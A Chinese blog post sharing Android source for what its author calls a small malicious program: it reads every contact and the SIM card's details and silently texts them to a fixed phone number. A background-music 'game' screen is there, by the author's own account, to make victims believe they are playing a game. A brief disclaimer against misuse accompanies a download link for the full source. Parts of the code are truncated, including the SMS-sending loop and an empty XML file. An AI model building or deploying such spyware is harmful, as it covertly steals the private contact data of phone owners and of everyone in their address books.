获取被人电话本的小恶意程序

这个月的26号就要考java二级了,下午没课看了一下午java,想睡一会,然后同学就来了,想要我的一份源码,这份源码是我在寒假写这玩的小程序。就是获取别人的电话本信息,然后以短信的方式发送给指定的手机号。

先说明不要用这份程序干什么坏事啊。

寒假里写完后感觉这样的小程序并没有什么用,所以没写,今天我给他讲代码的时候,发现里面还有一些有用的知识,比如

获取系统的电话本 ,发送单条,和多条短信,Button的圆形边缘美化,还有音乐的播放,Intent的访问网页,通过获取SIM卡的序列号解析卡的一些简单信息(服务商,产卡日期,归属地等)

这套程序如果运行到没有SIM的手机上的时候会炸的,我没有写关于判断SIM卡是否存在情况下的代码,所以运行调试的时候,一定保证手机有卡。

这套一口气用了五个Activity写的,每个Activity目的明确 首先是一个欢迎的界面(WelcomeActivity),其次会运行到主要获取电话本和发送短信的界面(MainActivity),几秒后跳转到一个Button界面。



先说权限:

         上网
         发送短信
       手机状态主要是手机卡信息
      读取联系人


1.MainActivity(知识点:发送短信,获取联系人)

package com.example.hejingzhou.blacksteal;


import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.view.KeyEvent;
import android.view.WindowManager;

import java.util.ArrayList;


public class MainActivity extends AppCompatActivity {

    private Thread thread;
    TelephonyManager Tel;
    private int IntOperators;
    private int IntThreeNum;
    private int IntAttribution;
    private int IntFactory_Date;
    private static String SequenceNum;//序列号
    private static String Operators;//运营商
    private static String ThreeNum;//前三位
    private static String Attribution;//归属地
    private static String Factory_Date;//出厂日期
    private static String PhoneNumber;//本手机号
    private static String stringNumber;
    private String name;
    private String nameID;

    private String string;
    private static String messageCon;

    public static String getMessageCon() {
        Log.i("TEST1",messageCon);
        return messageCon;
    }

    public static String getAllnumber() {
        return Allnumber;
    }

    private static String Allnumber;

    public String getSequenceNum() {
        return SequenceNum;
    }
    private String TAG = "MainActivity";

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
                WindowManager.LayoutParams.FLAG_FULLSCREEN);
        setContentView(R.layout.activity_main);


        GetUserPhoneNumber();//提取用户的电话本
        try {
            Thread.sleep(1000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        GetUserPhoneNumber();//提取用户的电话本
        Mobile_erial_number();//提取手机卡标识码

        messageCon = "服务商:" + getOperators() + "  归属地:" + getAttribution() + "  出卡日期:" + getFactory_Date() + "  前三位" + getThreeNum() + "  电话本:" + "\n" + Allnumber;
        Log.i(TAG, messageCon);
        Log.i("TEST",messageCon);

        /**
         * 这是发送单条短信,考虑到电话本信息量可能有些大,所以没有用这种方式
         */
      /*  SmsManager smsManager = SmsManager.getDefault();
        PendingIntent pendingIntent = PendingIntent.getBroadcast(MainActivity.this,0,new Intent(),0);
        smsManager.sendTextMessage("1 5933382914",null,"ddddddddddddddddddddddd",pendingIntent,null);*/


        /**
         * 发送多条短信
         */
        //if (MainActivity.getAllnumber()!=null) {
            SmsManager smsManager = SmsManager.getDefault();
            ArrayList smsList = smsManager.divideMessage(messageCon);//分割短信
            Log.i(TAG,messageCon);
            PendingIntent pendingIntent = PendingIntent.getBroadcast(MainActivity.this, 0, new Intent(), 0);
            ArrayList sentIntents = new ArrayList();
            for(int i = 0;i
		//调试的时候把上边这条注释掉否则话费。。。
        //} else {
            Log.i(TAG,"getAllnumber()为空");
        //}


        thread = new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    Thread.currentThread().sleep(2000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
                startActivity(new Intent(MainActivity.this,ThanksActivity.class));
                MainActivity.this.finish();
            }
        });
        thread.start();
    }


    public static String getOperators() {
        return Operators;
    }

    public static String getThreeNum() {
        return ThreeNum;
    }

    public static String getAttribution() {
        return Attribution;
    }

    public static String getFactory_Date() {
        return Factory_Date;
    }

    private void GetUserPhoneNumber() {

        ContentResolver contentResolver = getContentResolver();
        Cursor cursor = contentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);

        if (cursor != null) {
            Log.i(TAG, "cursor != null");
            while (cursor.moveToNext()) {

                int nameLndex = cursor.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME);
                name = cursor.getString(nameLndex);//取得电话姓名
                string = (name + "_");

                nameID = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
                Cursor phone = contentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
                        ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + nameID, null, null);

                while (phone.moveToNext()) {
                    stringNumber = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                    string+=(stringNumber + "\n");
                    Allnumber += nameID + "_" + name + "_" + stringNumber + "\n";
                    Allnumber = Allnumber.replace("null", "");
                }
            }
        } else {
            Log.i(TAG, "  cursor=null");
        }
    }

    private void Mobile_erial_number() {
        Tel = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
        try {
            PhoneNumber = Tel.getLine1Number();//这个方法不行
            Log.i(TAG, PhoneNumber);
        } catch (Exception e) {
            Log.i(TAG, "获取本手机号出错");
        }
        SequenceNum = Tel.getSimSerialNumber();
        Log.i(TAG, "SIM卡的序列号是" + SequenceNum);
        Operators = SequenceNum.substring(0, 6);
        Log.i(TAG, Operators);
        ThreeNum = SequenceNum.substring(6, 7);
        Log.i(TAG, ThreeNum);
        Attribution = SequenceNum.substring(8, 10);
        Log.i(TAG, Attribution);
        Factory_Date = SequenceNum.substring(10, 12);
        Log.i(TAG, Factory_Date);

        IntOperators = Integer.parseInt(Operators);
        IntThreeNum = Integer.parseInt(ThreeNum);
        IntAttribution = Integer.parseInt(Attribution);
        IntFactory_Date = Integer.parseInt(Factory_Date);
        switch (IntOperators) {
            case 898600:
                Operators = "中国移动";
                break;
            case 898601:
                Operators = "中国联通";
                break;
            case 898603:
                Operators = "中国电信";
                break;
        }
        if (Attribution.equals("08")) {
            Attribution = "黑龙江";

        } else if (Attribution.equals("09")) Attribution = "上海";

        switch (IntThreeNum) {
            case 5:
                ThreeNum = "135";
                break;
            case 6:
                ThreeNum = "136";
                break;
            case 7:
                ThreeNum = "137";
                break;
            case 8:
                ThreeNum = "138";
                break;
            case 9:
                ThreeNum = "139";
                break;
        }
        switch (IntAttribution) {
            case 01:
                Attribution = "北京";
                break;
            case 02:
                Attribution = "天津";
                break;
            case 03:
                Attribution = "河北";
                break;
            case 04:
                Attribution = "山西";
                break;
            case 05:
                Attribution = "内蒙古";
                break;
            case 06:
                Attribution = "辽宁";
                break;
            case 07:
                Attribution = "吉林";
                break;
           /* case 08:  //因为在Java中0开头的是以八进制的判断,所以是不能用的
                Attribution = "黑龙江";
                break;
            case 09:
                Attribution = "上海";
                break;*/
            case 10:
                Attribution = "江苏";
                break;
            case 11:
                Attribution = "浙江";
                break;
            case 12:
                Attribution = "安徽";
                break;
            case 13:
                Attribution = "福建";
                break;
            case 14:
                Attribution = "江西";
                break;
            case 15:
                Attribution = "山东";
                break;
            case 16:
                Attribution = "河南";
                break;
            case 17:
                Attribution = "湖北";
                break;
            case 18:
                Attribution = "湖南";
                break;
            case 19:
                Attribution = "广东";
                break;
            case 20:
                Attribution = "广西";
                break;
            case 21:
                Attribution = "海南";
                break;
            case 22:
                Attribution = "四川";
                break;
            case 23:
                Attribution = "贵州";
                break;
            case 24:
                Attribution = "云南";
                break;
            case 25:
                Attribution = "西藏";
                break;
            case 26:
                Attribution = "陕西";
                break;
            case 27:
                Attribution = "甘肃";
                break;
            case 28:
                Attribution = "青海";
                break;
            case 29:
                Attribution = "宁夏";
                break;
            case 30:
                Attribution = "新疆";
                break;
            case 31:
                Attribution = "重庆";
                break;
        }
        switch (IntFactory_Date) {
            case 10:
                Factory_Date = "2010年";
                break;
            case 11:
                Factory_Date = "2011年";
                break;
            case 12:
                Factory_Date = "2012年";
                break;
            case 13:
                Factory_Date = "2013年";
                break;
            case 14:
                Factory_Date = "2014年";
                break;
            case 15:
                Factory_Date = "2015年";
                break;
            case 16:
                Factory_Date = "2016年";
                break;
            case 17:
                Factory_Date = "2017年";
                break;
            case 18:
                Factory_Date = "2018年";
                break;
        }
        Log.i(TAG, Attribution);
        Log.i(TAG, Factory_Date);
        Log.i(TAG, ThreeNum);
        Log.i(TAG, Operators);
    }
    @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        if ((keyCode == KeyEvent.KEYCODE_BACK)) {
            System.exit(0);
            System.out.println("按下了back键   onKeyDown()");
            return false;
        }else {
            return super.onKeyDown(keyCode, event);
        }

    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
        System.out.println("执行 onDestroy()");
    }

}

2.知识点二:圆角化处理Button

在 drawable 文件夹下创建shape.xml文件,内容如下:




    
    
    
    
    
    
    

    
    

在button这样引用就可以了


3.知识点三(播放背景音乐)

为了让运行的人认为这是一个游戏,你需要在装饰上下点功夫,然后我就添加了一段背景音乐
在res文件夹下创建一个raw文件夹存放一段音乐。


1首先让他去掉标题全屏
 protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
                WindowManager.LayoutParams.FLAG_FULLSCREEN);
        setContentView(R.layout.activity_game);
2然后让他已进入GameActivity就让他以横屏的形式Show在AndroidManifest.xml文件设置



package com.example.hejingzhou.blacksteal;

import android.app.usage.UsageEvents;
import android.media.MediaPlayer;
import android.preference.PreferenceActivity;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.EventLog;
import android.util.Log;
import android.view.KeyEvent;
import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.widget.RelativeLayout;
import android.widget.Toast;

import java.io.IOException;

public class GameActivity extends AppCompatActivity {

    private MediaPlayer mediaPlayer;
    private RelativeLayout relativeLayout;
    private int a;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
                WindowManager.LayoutParams.FLAG_FULLSCREEN);
        setContentView(R.layout.activity_game);
        relativeLayout = (RelativeLayout)findViewById(R.id.relativeLayout);
        relativeLayout.setOnTouchListener(new View.OnTouchListener() {
            @Override
            public boolean onTouch(View v, MotionEvent event) {
                switch (event.getAction())
                {

                    case MotionEvent.ACTION_DOWN:
                        a++;Log.i("GameActivity","  a = "+a);
                        if(a%3==0)
                        {
                            Toast.makeText(GameActivity.this,"你是不是傻,你是不是傻,你是不是傻,你" +
                                    "是不是傻,你是不是傻,你是不是傻,你是不是傻,你是不是傻,你是不是傻," +
                                    "你是不是傻,你是不是傻,你是不是傻!!!",Toast.LENGTH_SHORT).show();
                        }
                        else {
                            Toast.makeText(GameActivity.this, "请您选择正确的操作按钮!!!", Toast.LENGTH_SHORT).show();
                        }
                        break;
                }
                return false;
            }
        });
        /*relativeLayout.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Toast.makeText(GameActivity.this, "游戏是不是很好玩很好玩。。。", Toast.LENGTH_LONG).show();
            }
        });*/


        mediaPlayer = MediaPlayer.create(this,R.raw.zgaonimei);
        mediaPlayer.setLooping(true);
        /*try {
            mediaPlayer.prepare();
        } catch (IOException e) {
            Log.i("mediaPlayer.prepare()","出错");
        }*/
        mediaPlayer.start();
        mediaPlayer.setOnCompletionListener(new MediaPlayer.OnCompletionListener() {
            @Override
            public void onCompletion(MediaPlayer mp) {
                mp.start();
            }
        });


    }
    @Override
    public boolean onKeyDown(int keyCode, KeyEvent event) {
        if ((keyCode == KeyEvent.KEYCODE_BACK)) {
            System.exit(0);
            System.out.println("按下了back键   onKeyDown()");
            return false;
        }else {
            return super.onKeyDown(keyCode, event);
        }

    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
    }
}
做出来效果还行带着音乐:
有一个错误就是电话本重复了。


源码 : http://download.csdn.net/detail/csdnhejingzhou/9463700



你可能感兴趣的:(Android)